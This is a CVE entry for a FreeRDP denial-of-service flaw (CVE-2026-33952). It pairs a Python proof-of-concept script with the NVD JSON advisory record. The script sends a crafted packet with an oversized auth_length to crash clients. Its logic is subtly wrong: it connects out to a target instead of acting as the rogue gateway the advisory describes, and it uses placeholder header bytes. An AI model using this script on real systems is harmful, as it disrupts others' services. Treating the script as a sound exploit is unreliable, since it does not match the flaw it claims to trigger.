CVE-2026-33952

import socket # PoC for CVE-2026-33952: FreeRDP DoS via unvalidated auth_length # This script simulates sending a malicious packet to a client connecting to a rogue gateway. # Trigger: WINPR_ASSERT failure in rts_read_auth_verifier_no_checks() def send_malicious_packet(target_host, target_port): """ Sends a crafted packet with an invalid auth_length to trigger the crash. Note: Actual exploitation requires a specific RDP Gateway protocol context. """ try: # Create a socket connection to the target (simulating the client side interaction or gateway response) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) # Constructing a simplified malicious payload # The vulnerability is triggered by an invalid auth_length field. # We send a header followed by an unexpected length value. header = b'\x30\x00' * 5 # Placeholder header bytes # Craft an invalid auth_length (e.g., extremely large value) # This aims to bypass checks and trigger the assert in the client. malicious_auth_length = b'\xFF\xFF\xFF\xFF' payload = header + malicious_auth_length sock.send(payload) print(f"[+] Payload sent to {target_host}:{target_port}") print("[+] If the target is a vulnerable FreeRDP client, it may crash with SIGABRT.") sock.close() except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage (requires actual target setup) # send_malicious_packet("192.168.1.10", 3389) pass

{"cve": {"id": "CVE-2026-33952", "sourceIdentifier": "[email protected]", "published": "2026-03-30T22:16:18.953", "lastModified": "2026-04-02T15:16:40.347", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to version 3.24.2, an unvalidated auth_length field read from the network triggers a WINPR_ASSERT() failure in rts_read_auth_verifier_no_checks(), causing any FreeRDP client connecting through a malicious RDP Gateway to crash with SIGABRT. This is a pre-authentication denial of service affecting all FreeRDP clients using RPC-over-HTTP gateway transport. The assertion is active in default release builds (WITH_VERBOSE_WINPR_ASSERT=ON). This issue has been patched in version 3.24.2."}, {"lang": "es", "value": "FreeRDP es una implementación gratuita del Protocolo de Escritorio Remoto. Antes de la versión 3.24.2, un campo auth_length no validado leído de la red desencadena un fallo de WINPR_ASSERT() en rts_read_auth_verifier_no_checks(), causando que cualquier cliente FreeRDP que se conecta a través de una puerta de enlace RDP maliciosa se bloquee con SIGABRT. Esto es una denegación de servicio de pre-autenticación que afecta a todos los clientes FreeRDP que utilizan el transporte de puerta de enlace RPC-over-HTTP. La aserción está activa en las compilaciones de lanzamiento predeterminadas (WITH_VERBOSE_WINPR_ASSERT=ON). Este problema ha sido parcheado en la versión 3.24.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.24.2", "matchCriteriaId": "03FF152C-C651-4586-8958-1555D9797516"}]}]}], "references": [{"url": "https://github.com/FreeRDP/FreeRDP/commit/4ac0b6467d371a1ad47c1f751c5b305e4c068adb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-4v4p-9v5x-hc93", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Patch", "Vendor Advisory"]}]}}